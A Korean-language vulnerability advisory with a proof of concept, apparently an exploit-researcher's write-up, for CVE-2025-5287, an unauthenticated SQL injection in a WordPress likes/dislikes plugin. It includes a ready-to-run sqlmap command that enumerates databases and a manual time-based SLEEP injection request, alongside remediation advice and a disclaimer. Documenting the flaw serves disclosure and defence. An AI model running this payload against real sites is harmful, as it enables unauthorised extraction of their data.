🔥 WordPress 좋아요 및 싫어요 플러그인 ≤ 1.0.0 - 인증되지 않은 SQL 삽입

🧠 CVE 식별자: CVE-2025-5287

발견자: Khaled_Alenazi (Nxploited)
게시일: 2025년 5월 27일

📋 설명

WordPress용 좋아요 및 싫어요 플러그인은 모든 버전 1.0.0 이하에서 post 매개변수를 통해 SQL 삽입에 취약합니다.
부적절한 이스케이프 및 준비된 구문(Prepared Statement) 부재로 인해 인증되지 않은 공격자가 백엔드 쿼리에 원시 SQL을 주입하여 데이터 유출 또는 조작을 초래할 수 있습니다.

🧬 기술 세부 사항

• 취약한 매개변수: post
• 취약점 유형: SQL 삽입 (Boolean 기반 및 시간 기반)
• HTTP 메소드: POST
• 영향을 받는 엔드포인트: /wp-admin/admin-ajax.php
• 패치 상태: ❌ 수정되지 않음
• 필요한 권한: 없음 (인증되지 않음)
• CVSS 점수: 9.3 (높음)
• OWASP Top 10: A1 - 삽입

💥 익스플로잇

✅ SQLMap 명령어 (시간 기반 블라인드 SQLi):

sqlmap -u "http://TARGET/wp-admin/admin-ajax.php" \
--data "action=my_likes_dislikes_action&post=1&state=like" \
--method POST --risk 3 --level 5 --batch --time-sec=5 --dbs

이 명령어는 주입 지점을 확인하고 시간 기반 기술을 사용하여 데이터베이스를 열거합니다.

🧪 POC 페이로드 (수동 - 시간 기반):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: nxploit.ddev.site
Content-Type: application/x-www-form-urlencoded
Connection: close

action=my_likes_dislikes_action&post=1 AND (SELECT 1234 FROM (SELECT(SLEEP(5)))a)&state=like

🧪 증거 요약

1. SQLMap 열거:

   • boolean 기반 블라인드 및 시간 기반 블라인드 SQLi 탐지.
   • 백엔드가 MySQL임을 확인.
   • 열거된 데이터베이스: db, test, information_schema.

   

2. Burp Suite를 이용한 수동 검증:

   • 시간 기반 페이로드를 통해 HTTP 응답 지연 확인.
   • 지연 시간이 15초를 초과하여 실제 주입을 나타냄.

   

⚠️ 위험

• CVSS 심각도: 9.3 (높음)
• 이 취약점은 인증 없이 민감한 데이터를 추출하는 데 사용될 수 있습니다.

🔗 참고문헌

• https://patchstack.com/database/wordpress/plugin/inprosysmedia-likes-dislikes-post/vulnerability/wordpress-likes-and-dislikes-plugin-plugin-1-0-0-unauthenticated-sql-injection-vulnerability
• https://nvd.nist.gov/vuln/detail/CVE-2025-5287

🛡️ 권장 사항

• post 입력을 즉시 삭제 및 매개변수화하십시오.
• **준비된 구문(Prepared Statement)**을 사용하십시오.
• 무차별 대입 주입 시도를 줄이기 위해 WAF 및 속도 제한을 구현하십시오.

⚠️ 면책 조항

이 콘텐츠는 교육 및 연구 목적으로만 제공됩니다.
저자는 명시적 승인 없이 시스템을 악의적으로 사용하거나 익스플로잇하는 것을 허용하지 않습니다.

👤 저자

Khaled_Alenazi (Nxploited)